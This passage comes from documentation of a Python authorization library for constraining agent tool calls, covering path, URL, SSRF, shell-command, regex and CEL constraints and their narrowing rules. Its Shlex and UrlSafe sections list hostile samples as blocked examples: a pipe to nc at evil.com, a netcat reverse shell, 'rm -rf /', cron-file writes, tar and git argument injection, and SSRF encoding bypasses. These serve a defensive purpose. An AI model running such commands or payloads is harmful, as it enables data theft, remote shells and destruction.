`Cidr("192.168.1.0/24")` | `"192.168.1.100"` | Yes | | `Cidr("192.168.1.0/24")` | `"192.168.2.1"` | No | **Use case:** Restrict API calls to internal networks, validate source IPs. ```python from tenuo import Warrant, ConstraintSet, Cidr # Only allow requests from internal network cs = ConstraintSet() cs.insert("source_ip", Cidr("10.0.0.0/8")) warrant = (Warrant.mint_builder() .capability("api_call", cs) .holder(kp.public_key) .ttl(3600) .mint(kp)) ``` **Attenuation:** Child CIDR must be a subnet of parent. ```python # Parent: 10.0.0.0/8 (all 10.x.x.x) parent = Cidr("10.0.0.0/8") # Valid child: 10.1.0.0/16 (narrower) child = Cidr("10.1.0.0/16") # OK - Subnet of parent # Invalid child: 192.168.0.0/16 (different network) child = Cidr("192.168.0.0/16") # FAILS - Not a subnet ``` --- ### UrlPattern Validates URLs against scheme, host, port, and path patterns. Provides structured URL validation with proper parsing and normalization - safer than using `Pattern` or `Regex` for URL matching. ```python from tenuo import UrlPattern # Match HTTPS URLs to specific host UrlPattern("https://api.example.com/*") # Any scheme (HTTP or HTTPS) UrlPattern("*://api.example.com/*") # Wildcard subdomain UrlPattern("https://*.example.com/*") # Specific port UrlPattern("https://api.example.com:8443/*") # Specific path prefix UrlPattern("https://api.example.com/api/v1/*") ``` **Pattern Components:** | Component | Syntax | Description | |-----------|--------|-------------| | Scheme | `https://`, `*://` | Required. Use `*` for any scheme. | | Host | `api.example.com`, `*.example.com` | Required. Supports `*` prefix for subdomains. | | Port | `:8443` | Optional. Omit for default port. | | Path | `/api/*`, `/v1/users` | Optional. Supports glob patterns. | **Examples:** | Pattern | URL | Match? | |---------|-----|--------| | `UrlPattern("https://api.example.com/*")` | `"https://api.example.com/v1/users"` | Yes | | `UrlPattern("https://api.example.com/*")` | `"http://api.example.com/v1"` | No (wrong scheme) | | `UrlPattern("https://*.example.com/*")` | `"https://www.example.com/home"` | Yes | | `UrlPattern("https://*.example.com/*")` | `"https://evil.com/home"` | No (wrong domain) | | `UrlPattern("https://api.example.com:8443/*")` | `"https://api.example.com:443/v1"` | No (wrong port) | **Use case:** Restrict API calls to specific endpoints, enforce HTTPS, limit to trusted domains. ```python from tenuo import Warrant, ConstraintSet, UrlPattern # Only allow HTTPS calls to internal API cs = ConstraintSet() cs.insert("endpoint", UrlPattern("https://api.internal.com/v1/*")) warrant = (Warrant.mint_builder() .capability("api_call", cs) .holder(kp.public_key) .ttl(3600) .mint(kp)) ``` **Attenuation Rules:** - **Scheme**: Can narrow (any -> https) but not widen (https -> http) - **Host**: Can narrow (*.example.com -> api.example.com) but not widen - **Port**: Can add restriction but not remove - **Path**: Can narrow (/api/* -> /api/v1/*) but not widen ```python # Parent: any subdomain, any path parent = UrlPattern("https://*.example.com/*") # Valid children child = UrlPattern("https://api.example.com/*") # OK - Specific host child = UrlPattern("https://api.example.com/v1/*") # OK - Specific host + path # Invalid children child = UrlPattern("http://api.example.com/*") # FAILS - Different scheme child = UrlPattern("https://*.other.com/*") # FAILS - Different domain ``` --- ### Subpath Secure path containment constraint that prevents path traversal attacks. This is a **lexical** check - it normalizes `.` and `..` components without filesystem access. ```python from tenuo import Subpath # Basic usage constraint = Subpath("/data") # Path checks constraint.contains("/data/file.txt") # True constraint.contains("/data/subdir/file.txt") # True constraint.contains("/data/../etc/passwd") # False (traversal blocked) constraint.contains("/etc/passwd") # False (not under /data) # Options Subpath("/data", case_sensitive=False) # Windows compatibility Subpath("/data", allow_equal=False) # Require strictly under root ``` **Security Features:** - Normalizes `.` and `..` components (lexically, no I/O) - Rejects null bytes (C string terminator attack) - Requires absolute paths - Optionally case-insensitive (Windows compatibility) - Does **NOT** follow symlinks (stateless validation) **Examples:** | Subpath | Path | Contains? | |---------|------|-----------| | `Subpath("/data")` | `/data/file.txt` | Yes | | `Subpath("/data")` | `/data/subdir/file.txt` | Yes | | `Subpath("/data")` | `/data` | Yes (allow_equal=true) | | `Subpath("/data")` | `/data/../etc/passwd` | No (normalized to /etc) | | `Subpath("/data")` | `/etc/passwd` | No | | `Subpath("/data")` | `data/file.txt` | No (relative path) | **Attenuation:** Child root must be contained within parent root. ```python # Parent: /data parent = Subpath("/data") # Valid child: /data/reports (narrower) child = Subpath("/data/reports") # OK # Invalid child: /other (not under parent) child = Subpath("/other") # FAILS ``` > [!NOTE] > **Symlink Handling** > > This constraint does NOT resolve symlinks. This is intentional for distributed systems where the file may be on a different machine than the validator. For symlink-aware validation, use `path_jail` at the execution layer. See [Defense in Depth](#defense-in-depth-file-paths). **Error Handling:** ```python # Invalid root raises ValueError Subpath("relative/path") # ValueError: invalid path 'relative/path': root must be an absolute path # Non-string arguments raise TypeError (type-safe validation) constraint = Subpath("/data") constraint.contains(123) # TypeError constraint.contains(None) # TypeError ``` **Path Normalization:** - Double slashes are collapsed: `//data//file.txt` --> `/data/file.txt` - Trailing slashes are preserved in root but ignored in matching - `.` and `..` are resolved lexically (no filesystem access) --- ### UrlSafe SSRF-safe URL constraint that blocks dangerous URLs by default. ```python from tenuo import UrlSafe # Secure defaults - blocks known SSRF vectors constraint = UrlSafe() constraint.is_safe("https://api.github.com/repos") # True constraint.is_safe("http://169.254.169.254/") # False (metadata) constraint.is_safe("http://127.0.0.1/") # False (loopback) constraint.is_safe("http://10.0.0.1/") # False (private IP) # Domain allowlist - only specific domains allowed constraint = UrlSafe(allow_domains=["api.github.com", "*.googleapis.com"]) # Domain denylist - block specific domains (deny wins over allow on overlap) constraint = UrlSafe( allow_domains=["*.example.com"], deny_domains=["evil.example.com"], ) # deny_domains also works against IP addresses (matched as strings) constraint = UrlSafe(deny_domains=["169.254.169.254"]) # Custom configuration constraint = UrlSafe( allow_schemes=["https"], # HTTPS only block_private=True, # Block 10.x, 172.16.x, 192.168.x block_loopback=True, # Block 127.x, ::1, localhost block_metadata=True, # Block cloud metadata endpoints block_internal_tlds=True, # Block .internal, .local, .svc, .default, etc. ) ``` **Security Features:** - Validates URL scheme (default: http, https) - Blocks private IPs (RFC1918: 10.x, 172.16.x, 192.168.x) - Blocks loopback (127.x, ::1, localhost) - Blocks cloud metadata endpoints (169.254.169.254, metadata.google.internal) - Blocks IP encoding bypasses (decimal, hex, octal, IPv6-mapped) - `deny_domains` explicitly blocks domains/IPs (checked for both hostnames and IPs; deny wins over allow on overlap) - Decodes URL-encoded hostnames - Optional domain allowlist for maximum restriction **SSRF Vectors Blocked:** | Attack Vector | Example | Blocked? | |---------------|---------|----------| | AWS Metadata | `http://169.254.169.254/` | Yes | | Loopback | `http://127.0.0.1/` | Yes | | Private IP | `http://10.0.0.1/` | Yes | | Decimal IP | `http://2130706433/` (=127.0.0.1) | Yes | | Hex IP | `http://0x7f000001/` | Yes | | Octal IP | `http://0177.0.0.1/` | Yes | | IPv6 Mapped | `http://[::ffff:127.0.0.1]/` | Yes | | IPv4-Compatible IPv6 | `http://[::127.0.0.1]/` | Yes | | URL Encoded | `http://%31%32%37%2e%30%2e%30%2e%31/` | Yes | | File Scheme | `file:///etc/passwd` | Yes | | localhost | `http://localhost/` | Yes | **Attenuation:** Child must be at least as restrictive as parent. ```python # Parent: default SSRF protection parent = UrlSafe() # Valid child: stricter (domain allowlist) child = UrlSafe(allow_domains=["api.github.com"]) # OK # Invalid child: less restrictive child = UrlSafe(block_private=False) # FAILS ``` > [!NOTE] > **DNS Resolution** > > This constraint does NOT perform DNS resolution. This is intentional - DNS resolution is I/O that can block, fail, or be manipulated (DNS rebinding). For DNS-aware validation, use `url_jail` at the execution layer. > [!IMPORTANT] > **IPv6 Address Handling** > > UrlSafe blocks several IPv6-based bypass attempts: > - **IPv6-mapped IPv4**: `[::ffff:127.0.0.1]` --> blocked (normalized to 127.0.0.1) > - **IPv4-compatible IPv6**: `[::127.0.0.1]` --> blocked (deprecated format but still parsed by some libraries) > - **IPv6 loopback**: `[::1]` --> blocked > - **IPv6 private ranges**: `fc00::/7`, `fe80::/10` --> blocked when `block_private=True` > [!NOTE] > **Octal IP Normalization** > > The URL parser normalizes octal-notation IPs before validation: > - `010.0.0.1` --> normalized to `8.0.0.1` (octal 010 = decimal 8) > - `0177.0.0.1` --> normalized to `127.0.0.1` --> blocked as loopback > - `012.0.0.1` --> normalized to `10.0.0.1` --> blocked as private > > This provides defense-in-depth: attackers trying to use `010.0.0.1` to access `10.0.0.1` get `8.0.0.1` instead. > [!TIP] > **Best Practice: Use Domain Allowlists** > > For maximum security, use `allow_domains` to restrict URLs to specific trusted domains: > ```python > constraint = UrlSafe(allow_domains=["api.github.com", "*.googleapis.com"]) > ``` > This eliminates IP-based bypass attempts entirely and is the recommended approach for production use. **Error Handling:** ```python # Non-string arguments raise TypeError (type-safe validation) constraint = UrlSafe() constraint.is_safe(123) # TypeError constraint.is_safe(None) # TypeError # Invalid/malformed URLs return False (safe default) constraint.is_safe("") # False constraint.is_safe("not-a-url") # False ``` --- ### Shlex Validates that a shell command string is safe and simple. Ensures the command is a single executable with literal arguments, preventing shell injection. ```python from tenuo import Shlex # Allow only specific binaries constraint = Shlex(allow=["ls", "cat", "grep"]) constraint.matches("ls -la /tmp") # True constraint.matches("cat file.txt") # True constraint.matches("ls -la; rm -rf /") # False (operator blocked) constraint.matches("echo $(whoami)") # False (command substitution) constraint.matches("ls $HOME") # False (variable expansion) constraint.matches("rm -rf /") # False (rm not in allowlist) ``` **Security Features:** | Attack | Example | Blocked? | |--------|---------|----------| | Command chaining | `ls; rm -rf /` | Yes | | Pipe injection | `cat /etc/passwd \| nc evil.com 80` | Yes | | Logical operators | `true && rm -rf /` | Yes | | I/O redirection | `echo pwned > /etc/cron.d/x` | Yes | | Command substitution | `echo $(whoami)` | Yes | | Backtick substitution | `` echo `id` `` | Yes | | Variable expansion | `ls $HOME` | Yes | | Newline injection | `ls\nrm -rf /` | Yes | | Unauthorized binary | `nc -e /bin/sh evil.com` | Yes | > [!NOTE] > Glob characters (`*`, `?`, `[`) are allowed. They expand to filenames > but are not shell injection vectors. If you need to restrict file > access, combine `Shlex` with `Subpath`. > [!WARNING] > **Tier 1 Mitigation Only** > > Shlex validates **shell syntax**, not **tool semantics**. Some tools interpret arguments as commands: > > ```python > # These pass Shlex but the tool executes the argument: > "git clone --upload-pack='malicious' repo" > "tar --checkpoint-action=exec=cmd -xf file.tar" > ``` > > For complete protection, use `proc_jail` which bypasses the shell entirely via `execve()`. > [!NOTE] > **Dangerous Binaries** > > Even with valid syntax, some binaries are dangerous: > - `python`, `perl`, `ruby`: arbitrary code execution > - `nc`, `curl`, `wget`: network access / SSRF > - `bash`, `sh`, `env`, `xargs`: shell escape > > Only allow specific, low-risk binaries like `ls`, `cat`, `head`, `tail`, `wc`, `grep`. **Error Handling:** ```python # Non-string arguments raise TypeError constraint = Shlex(allow=["ls"]) constraint.matches(123) # False constraint.matches(None) # False # Empty allowlist raises ValueError Shlex(allow=[]) # ValueError: Shlex requires at least one allowed binary ``` --- ### Regex Matches strings against regular expressions. ```python from tenuo import Regex # Matches production-* pattern Regex(r"^production-[a-z]+$") # Matches email format Regex(r"^[a-z]+@company\.com$") ``` > [!WARNING] > **Attenuation Limitation** > > Regex constraints **cannot be narrowed** during attenuation. > > ```python > from tenuo import Warrant, Regex, Exact > > # Parent with regex > parent = (Warrant.mint_builder() > .capability("query", env=Regex(r"^(staging|dev)-.*$")) > .holder(key.public_key) > .ttl(3600) > .mint(key)) > > # Cannot narrow to different regex (even if provably narrower) > child = (parent.grant_builder() > .capability("query", env=Regex(r"^staging-.*$")) # FAILS > .grant(key)) > > # Can narrow to Exact value (if it matches parent regex) > child = (parent.grant_builder() > .capability("query", env=Exact("staging-web")) # OK > .grant(key)) > > # Can keep same regex pattern > child = (parent.grant_builder() > .capability("query", env=Regex(r"^(staging|dev)-.*$")) # OK > .grant(key)) > ``` > > **Workaround**: If you need to narrow regex constraints during delegation: > 1. Use `Pattern()` instead (supports simple prefix/suffix narrowing) > 2. Attenuate to `Exact()` for specific values > 3. Keep the same regex in child warrants --- ### NotOneOf Excludes specific values (use sparingly - prefer allowlists). ```python from tenuo import NotOneOf # Block admin and root NotOneOf(["admin", "root"]) ``` **Security**: Always prefer `OneOf` (allowlist) over `NotOneOf` (denylist). `NotOneOf` can only appear in root warrants or attenuate from another `NotOneOf` or `Wildcard` parent. Attenuating from `OneOf` to `NotOneOf` is **forbidden** because `NotOneOf` accepts values outside the parent's allowlist. To narrow an `OneOf`, use `OneOf(subset)` instead. --- ### Contains List must contain all specified values. ```python from tenuo import Contains # List must include both "read" and "write" Contains(["read", "write"]) ``` **Example:** ```python from tenuo import Warrant, Contains # Warrant requires ["read", "write"] permissions warrant = (Warrant.mint_builder() .capability("access_resource", permissions=Contains(["read", "write"])) .holder(key.public_key) .ttl(3600) .mint(key) ) # Matches: ["read", "write", "admin"] # Doesn't match: ["read"] (missing "write") ``` --- ### Subset List must be a subset of allowed values. ```python from tenuo import Subset # List must only contain allowed values Subset(["staging", "dev", "test"]) ``` **Example:** ```python from tenuo import Warrant, Subset # Warrant allows only specific environments warrant = (Warrant.mint_builder() .capability("deploy", environments=Subset(["staging", "dev"])) .holder(key.public_key) .ttl(3600) .mint(key) ) # Matches: ["staging"] # Matches: ["staging", "dev"] # Doesn't match: ["staging", "production"] (includes disallowed "production") ``` --- ### All (AND) All nested constraints must match. ```python from tenuo import All, Pattern, Range # Path must match pattern AND size must be in range All([ Pattern("/data/*"), Range.max_value(1000) ]) ``` **Use case:** Combine multiple constraint types for the same parameter. --- ### AnyOf (OR) At least one nested constraint must match. ```python from tenuo import AnyOf, Pattern # Path must match at least one pattern AnyOf([ Pattern("/data/reports/*"), Pattern("/data/analytics/*") ]) ``` > [!NOTE] > **`AnyValue` vs `AnyOf`**: These are different! > - `AnyOf([...])` - OR composite: at least one constraint must match > - `AnyValue()` - Alias for `Wildcard()`: allows any value for a specific field in zero-trust mode > (`Any` is a deprecated alias and emits `DeprecationWarning`) > [!NOTE] > **Attenuation rule: every child branch must be covered by a parent branch.** `AnyOf -> AnyOf` attenuation is valid when the child's set of alternatives is a subset of the parent's: each child branch must be a valid attenuation of at least one parent branch. For example, `AnyOf([Subpath("/var"), Subpath("/srv")]) -> AnyOf([Subpath("/var/log")])` is valid; adding a new branch not in the parent is rejected. --- ### Not Negation of a constraint. ```python from tenuo import Not, Exact # Anything except "production" Not(Exact("production")) ``` > [!NOTE] > **Attenuation rule: the inner constraint direction is inverted.** `Not(child_inner)` is a valid attenuation of `Not(parent_inner)` when the **child inner is at least as permissive as the parent inner** (the opposite of the usual direction). Because `Not` flips accepted/rejected sets, a wider inner produces a narrower outer. For example, `Not(Exact("admin")) -> Not(OneOf(["admin","root"]))` is valid (child inner is wider, so the child `Not` accepts fewer values). Attempting to narrow the inner (`Not(OneOf([...])) -> Not(Exact(...))`) is rejected because it widens the outer accepted set. --- ### CEL (Common Expression Language) Complex logic using CEL expressions for advanced authorization rules. > [!NOTE] > **Optional Feature (Rust)**: CEL support requires the `cel` feature flag: > ```toml > tenuo = { version = "0.2", features = ["cel"] } > ``` > This reduces dependencies for users who don't need CEL. Without the feature, CEL > constraints can still be deserialized (for wire format interoperability), but > evaluation returns `FeatureNotEnabled { feature: "cel" }`. > > Python SDK always includes CEL support. ```python from tenuo import CEL # Simple comparison CEL("amount < 10000 && amount > 0") # Multi-parameter validation CEL("budget < revenue * 0.1 && currency == 'USD'") ``` **How it works:** - CEL expressions evaluate to **boolean** (true/false) - For **object values**, each field becomes a top-level variable - For **primitive values**, the value is available as `value` - Expressions are **compiled once** and cached for performance (max 1000 entries) **Example:** ```python from tenuo import Warrant, CEL # Budget must be less than 10% of revenue warrant = (Warrant.mint_builder() .capability("create_campaign", budget_check=CEL("budget < revenue * 0.1 && budget > 0")) .holder(key.public_key) .ttl(3600) .mint(key)) # When tool is called with: # create_campaign(budget=5000, revenue=100000, ...) # CEL evaluates: 5000 < 100000 * 0.1 && 5000 > 0 -> true (OK) ``` #### Standard Library Functions Tenuo provides built-in functions for common use cases: **Time Functions:** ```python # Check if timestamp hasn't expired CEL("!time_is_expired(deadline)") # Only allow if created within last hour CEL("time_since(created_at) < 3600") # Get current time (requires dummy arg due to library limitation) CEL("time_now(null).startsWith('2024')") ``` | Function | Signature | Description | |----------|-----------|-------------| | `time_now(unused)` | `(_) -> String` | Returns current time in RFC3339 format | | `time_is_expired(ts)` | `(String) -> bool` | Checks if RFC3339 timestamp has passed | | `time_since(ts)` | `(String) -> i64` | Seconds since RFC3339 timestamp (0 if invalid/future) | **Network Functions:** ```python # Only allow requests from internal network CEL("net_in_cidr(ip, '10.0.0.0/8') || net_in_cidr(ip, '192.168.0.0/16')") # Block public IPs CEL("net_is_private(source_ip)") ``` | Function | Signature | Description | |----------|-----------|-------------| | `net_in_cidr(ip, cidr)` | `(String, String) -> bool` | Check if IP (v4/v6) is in CIDR block | | `net_is_private(ip)` | `(String) -> bool` | Check if IP is in private range (RFC 1918) | **Time-bounded Example:** ```python from tenuo import Warrant, CEL # Only allow if order created within last 24 hours warrant = (Warrant.mint_builder() .capability("process_order", freshness=CEL("time_since(created_at) < 86400")) .holder(key.public_key) .ttl(3600) .mint(key)) ``` **Network Example:** ```python from tenuo import Warrant, CEL # Only allow API calls from private network warrant = (Warrant.mint_builder() .capability("api_call", network=CEL("net_in_cidr(source_ip, '10.0.0.0/8')")) .holder(key.public_key) .ttl(3600) .mint(key)) ``` #### CEL Attenuation Child CEL constraints are automatically combined with parent using AND logic: ```python from tenuo import Warrant, CEL # Parent: budget < 10000 parent = (Warrant.mint_builder() .capability("spend", budget_rule=CEL("budget < 10000")) .holder(key.public_key) .ttl(3600) .mint(key)) # Child: Add additional constraint (auto-AND'd with parens) child = (parent.grant_builder() .capability("spend", budget_rule=CEL("currency == 'USD'")) .grant(key)) # Effective child expression: (budget < 10000) && (currency == 'USD') ``` #### Syntactic Monotonicity (Conservative Approach) Tenuo enforces **Syntactic Monotonicity** for CEL, not Semantic Monotonicity. Child expression must **literally** be `(parent) && (new_predicate)`. Both the parent and the additional predicate must be parenthesized. It cannot be a semantically equivalent but differently structured expression. > [!IMPORTANT] > The additional predicate **must** be wrapped in parentheses. Without them, > `(parent) && x || y` is parsed by CEL as `((parent) && x) || y` due to > operator precedence (`&&` binds tighter than `||`), which is NOT a subset > of the parent expression. ```python from tenuo import Warrant, CEL # Parent CEL parent = (Warrant.mint_builder() .capability("api_call", network=CEL("net_in_cidr(ip, '10.0.0.0/8')")) .holder(key.public_key) .ttl(3600) .mint(key)) # REJECTED: Semantically narrower but not syntactically derived child = (parent.grant_builder() .capability("api_call", network=CEL("net_in_cidr(ip, '10.1.0.0/16')")) # FAILS .grant(key)) # Even though 10.1.0.0/16 is subset of 10.0.0.0/8, this is REJECTED # ALLOWED: Syntactically derived with parenthesized predicate child = (parent.grant_builder() .capability("api_call", network=CEL("(net_in_cidr(ip, '10.0.0.0/8')) && (net_in_cidr(ip, '10.1.0.0/16'))")) .grant(key)) # Now it's ALLOWED because it's (parent) && (additional_check) # REJECTED: Unparenthesized remainder (precedence bypass) child = (parent.grant_builder() .capability("api_call", network=CEL("(net_in_cidr(ip, '10.0.0.0/8')) && true || false")) .grant(key)) # REJECTED: "true || false" is not parenthesized ``` #### Why Syntactic? Semantic analysis (proving one expression is strictly narrower) requires: - Automated theorem proving - Understanding domain semantics (CIDR blocks, time logic, etc.) - Potential false negatives or security holes Syntactic monotonicity is **conservative but secure**: If the child is `(parent) && (X)`, the parenthesized conjunction is guaranteed to be narrower or equal regardless of what `X` evaluates to. **Recommendation**: Use simpler constraint types (Pattern, Range, OneOf) when possible. Reserve CEL for truly complex logic that can't be expressed otherwise. #### Security Properties **Sandboxed Execution**: CEL cannot execute arbitrary code, only evaluate expressions **Deterministic**: Same inputs always produce same results **Cached Programs**: Compiled expressions cached (max 1000) for performance **Type Safe**: Must return boolean or evaluation fails **No Side Effects**: Expressions are pure - no I/O, no state mutation **Safe Standard Library**: Only time/network parsing functions, no file/network I/O #### Security Considerations ##### DoS Protection While CEL expressions are sandboxed, extremely complex expressions could still consume CPU: ```python # Potentially expensive (though bounded by compilation) CEL("(((((a && b) || (c && d)) && ((e || f) && (g || h))) || ...) ...") ``` **Mitigations in place:** - **Compilation fails** on malformed expressions (syntax errors caught early) - **Cache limit** (1000 entries) prevents unbounded memory growth - `cel-interpreter` v0.8.1 (no known DoS vulnerabilities) ##### Best Practices - **Keep expressions simple** - prefer built-in constraint types when possible - **Test expressions** before deployment with representative inputs - **Use syntactic attenuation** - child must be `(parent) && (X)` for safety ##### Important Notes - CEL expressions **must return boolean**. Non-boolean results cause `CelError`. - The constraint key (e.g., `"budget_check"`) is informational; the expression defines the logic. - **Syntactic monotonicity** is enforced for attenuation (see above). - Standard library functions are safe and deterministic (no I/O beyond time/IP parsing). --- ## Constraint Narrowing (Attenuation) When attenuating a warrant, child constraints must be **contained** within parent constraints. ### Attenuation Compatibility Matrix | Parent Type | Can Attenuate To | |-------------|------------------| | `Wildcard()` | **Any** constraint type (universal) | | `Pattern()` | Pattern (if narrower), Exact (if matches) | | `Regex()` | **Same** Regex only, Exact (if matches) | | `Exact()` | Same Exact only | | `OneOf()` | OneOf (subset), Exact (if in set) | | `NotOneOf()` | NotOneOf (more exclusions) | | `Range()` | Range (narrower bounds), Exact (if in range) | | `Cidr()` | Cidr (subnet), Exact (if IP in network) | | `UrlPattern()` | UrlPattern (narrower), Exact (if matches) | | `Contains()` | Contains (more required values) | | `Subset()` | Subset (fewer allowed values) | | `All()` | All (more constraints) | | `AnyOf()` | AnyOf (child branches ⊆ parent branches) | | `Not()` | Not (child inner must be >= as permissive as parent inner; direction inverted) | | `CEL()` | CEL (parenthesized conjunction with parent) | | `Subpath()` | Subpath (narrower root), Exact (if path contained) | | `UrlSafe()` | UrlSafe (more restrictive), Exact (if URL is safe) | | `Shlex()` | Shlex (fewer allowed binaries), Exact (if command matches) | **Key Limitations**: - **Regex**: Cannot narrow to different regex patterns (undecidable subset problem) - **Exact**: Cannot change value at all - **Range**: If parent bound is exclusive, child cannot make it inclusive at the same value (would widen) - **No attenuation TO Wildcard** (from non-Wildcard parents): Would re-widen authority - **Not**: Attenuation direction is inverted. `Not(parent_inner) -> Not(child_inner)` is valid only when the child inner is **at least as permissive** as the parent inner (i.e. `child_inner.validate_attenuation(parent_inner)` succeeds). Narrowing the inner widens the outer accepted set, which is rejected. - **AnyOf (OR)**: Every child branch must be covered by at least one parent branch. Adding a new branch not present in the parent is rejected as privilege escalation. - **CEL**: Child must be `(parent) && (extra)`. The extra predicate must be parenthesized to prevent `||` precedence bypass. ### Cross-Type Containment Some constraint types can contain different types during attenuation: | Parent | Child | Containment Rule | |--------|-------|------------------| | `Wildcard()` | Any type | Universal parent - contains everything | | `Pattern("*@co.com")` | `Exact("cfo@co.com")` | Child matches parent glob | | `Regex(r"^dev-.*")` | `Exact("dev-web")` | Child matches parent regex | | `Range(min=0, max=100)` | `Exact("50")` | Child numeric value within range | | `Cidr("10.0.0.0/8")` | `Exact("10.1.2.3")` | Child IP within parent network | | `Cidr("10.0.0.0/8")` | `Cidr("10.1.0.0/16")` | Child is subnet of parent | | `UrlPattern("https://*.example.com/*")` | `Exact("https://api.example.com/v1")` | Child URL matches parent pattern | | `UrlPattern("https://*.example.com/*")` | `UrlPattern("https://api.example.com/v1/*")` | Child pattern is narrower | | `OneOf(["a","b","c"])` | `Exact("b")` | Child value is in parent set | | `OneOf(["a","b","c"])` | `OneOf(["a","b"])` | Subset of parent set | | `Subpath("/data")` | `Exact("/data/file.txt")` | Child path within parent root | | `UrlSafe()` | `Exact("https://api.example.com/v1")` | Child URL passes safety check | | `Shlex(allow=["ls"])` | `Exact("ls -la")` | Child command passes shlex check | #### Special Rules | Rule | Description | |------|-------------| | `Wildcard` parent | Contains ANY child constraint type | | `Wildcard` child | NEVER allowed (would widen permissions) | | `Regex` -> `Regex` | Must be IDENTICAL pattern (subset undecidable) | | `Range` inclusivity | Exclusive bounds cannot become inclusive at same value | --- ## Limits To ensure system stability and prevent denial-of-service attacks, the following hard limits are enforced: - **Max Constraint Depth**: **32 levels** (e.g. `Not(Not(...))` nested 32 times). - **Max Constraint Size**: Generally bounded by the 64KB Max Warrant Size. For most use cases, depth 32 is more than sufficient. Generated policies from automated systems should respect this limit. --- ### Attenuation Examples ```python # Wildcard -> Anything: Wildcard is the universal parent parent = Wildcard() child = Pattern("staging-*") # OK - Wildcard contains everything child = Range(min=0, max=100) # OK - even different types child = Wildcard() # OK - Wildcard contains Wildcard # Nothing -> Wildcard: would expand permissions parent = Pattern("*") child = Wildcard() # FAILS - cannot widen to Wildcard # Pattern -> Exact: exact value must match the pattern parent = Pattern("*@company.com") child = Exact("cfo@company.com") # OK - matches pattern # Regex -> Exact: exact value must match the regex parent = Regex(r"^dev-.*$") child = Exact("dev-web") # OK - matches regex child = Exact("production") # FAILS - doesn't match # Regex -> Regex: must be identical (subset is undecidable) parent = Regex(r"^staging-.*$") child = Regex(r"^staging-.*$") # OK - identical child = Regex(r"^staging-web$") # FAILS - even if semantically narrower # Range -> Exact: numeric value must be within range parent = Range(min=0, max=100) child = Exact("50") # OK - 50 is in [0, 100] child = Exact("150") # FAILS - 150 > 100 # OneOf -> Exact: exact value must be in the set parent = OneOf(["read", "write", "delete"]) child = Exact("read") # OK - "read" is in set # OneOf -> OneOf (subset): remove values you don't need parent = OneOf(["staging", "production", "dev"]) child = OneOf(["staging", "dev"]) # OK - subset of parent # NotOneOf -> NotOneOf: must exclude MORE values parent = NotOneOf(["admin"]) child = NotOneOf(["admin", "root"]) # OK - excludes more # Contains -> Contains: must require MORE values parent = Contains(["read"]) child = Contains(["read", "write"]) # OK - requires more # Subset -> Subset: must allow FEWER values parent = Subset(["a", "b", "c"]) child = Subset(["a", "b"]) # OK - allows fewer ``` ### Incompatible Cross-Types - `Pattern` -> `Range`: String matching vs numeric bounds - `OneOf` -> `Pattern`: Set membership vs glob matching - `OneOf` -> `NotOneOf`: `NotOneOf` accepts values outside the parent's allowlist (privilege escalation). Use `OneOf(subset)` instead. - Non-Wildcard -> `Wildcard`: Would expand permissions ### Pattern Narrowing ```python from tenuo import Warrant, Pattern # Parent: /data/* parent = (Warrant.mint_builder() .capability("read_file", path=Pattern("/data/*")) .holder(key.public_key) .ttl(3600) .mint(key)) # Child: /data/reports/* (narrower) - OK child = (parent.grant_builder() .capability("read_file", path=Pattern("/data/reports/*")) .grant(key)) # Child: /* (wider) - FAILS child = (parent.grant_builder() .capability("read_file", path=Pattern("/*")) .grant(key)) # MonotonicityViolation ``` ### Range Narrowing ```python from tenuo import Warrant, Range # Parent: max 15 replicas parent = (Warrant.mint_builder() .capability("scale", replicas=Range.max_value(15)) .holder(key.public_key) .ttl(3600) .mint(key)) # Child: max 10 (narrower) - OK child = (parent.grant_builder() .capability("scale", replicas=Range.max_value(10)) .grant(key)) # Child: max 20 (wider) - FAILS child = (parent.grant_builder() .capability("scale", replicas=Range.max_value(20)) .grant(key)) # MonotonicityViolation ``` ### OneOf Narrowing ```python from tenuo import Warrant, OneOf # Parent: ["a", "b", "c"] parent = (Warrant.mint_builder() .capability("action", type=OneOf(["a", "b", "c"])) .holder(key.public_key) .ttl(3600) .mint(key)) # Child: ["a", "b"] (subset) - OK child = (parent.grant_builder() .capability("action", type=OneOf(["a", "b"])) .grant(key)) # Child: ["a", "b", "d"] (adds "d") - FAILS child = (parent.grant_builder() .capability("action", type=OneOf(["a", "b", "d"])) .grant(key)) # MonotonicityViolation ``` ### Regex Narrowing **Regex constraints are conservative**: Child regex must have **identical pattern** to parent. ```python from tenuo import Warrant, Regex, Exact # Parent: regex pattern parent = (Warrant.mint_builder() .capability("query", env=Regex(r"^(staging|dev)-.*$")) .holder(key.public_key) .ttl(3600) .mint(key)) # Cannot narrow to different regex (even if provably narrower) - FAILS child = (parent.grant_builder() .capability("query", env=Regex(r"^staging-.*$")) .grant(key)) # MonotonicityViolation # Can keep same pattern - OK child = (parent.grant_builder() .capability("query", env=Regex(r"^(staging|dev)-.*$")) .grant(key)) # Can narrow to Exact (if it matches parent regex) - OK child = (parent.grant_builder() .capability("query", env=Exact("staging-web")) .grant(key)) ``` **Why**: Determining if one regex is a subset of another is undecidable in general. Tenuo takes a conservative approach for security. **Recommendation**: Use `Pattern()` for simple matching that needs attenuation, or `Exact()` for specific values. --- ## Using Constraints with Tools ### With @guard Decorator ```python from tenuo import guard, Pattern, Range @guard(tool="transfer_money") def transfer_money(account: str, amount: float): # Tenuo checks: # - "account" against any Pattern/Exact constraint # - "amount" against any Range constraint ... ``` ### With guard() ```python from tenuo.langchain import guard # Protect tools with bound warrant protected = guard([read_file, write_file, delete_file], bound) ``` --- ## Common Patterns ### Wildcard to Specific Constraints ```python # Parent: any query async with mint(Capability("search", query=Wildcard())): # Child: narrow to pattern async with grant(Capability("search", query=Pattern("*public*"))): await search(query="public data") # OK ``` ### File Path Constraints ```python # Read-only access to reports directory async with mint(Capability("read_file", path=Subpath("/data/reports"))): await read_file(path="/data/reports/q3.csv") # OK await read_file(path="/etc/passwd") # FAILS ``` ### Replica/Capacity Limits ```python # Limit replica counts async with mint(Capability("scale", replicas=Range.max_value(15))): await scale(replicas=5) # OK await scale(replicas=20) # FAILS ``` ### Environment Restrictions ```python # Only staging and dev async with mint(Capability("deploy", env=OneOf(["staging", "dev"]))): await deploy(env="staging") # OK await deploy(env="production") # FAILS ``` ### Scoped Database Access ```python # Only specific tables async with mint(Capability("query", table=OneOf(["users", "orders"]))): await query(table="users") # OK await query(table="secrets") # FAILS ``` --- ## Pattern Best Practices ### Pattern Uses Glob Syntax, Not Regex `Pattern` uses **glob syntax** (like shell wildcards), not regular expressions: | Syntax | Meaning | Example | |--------|---------|---------| | `*` | Match any characters | `staging-*` --> 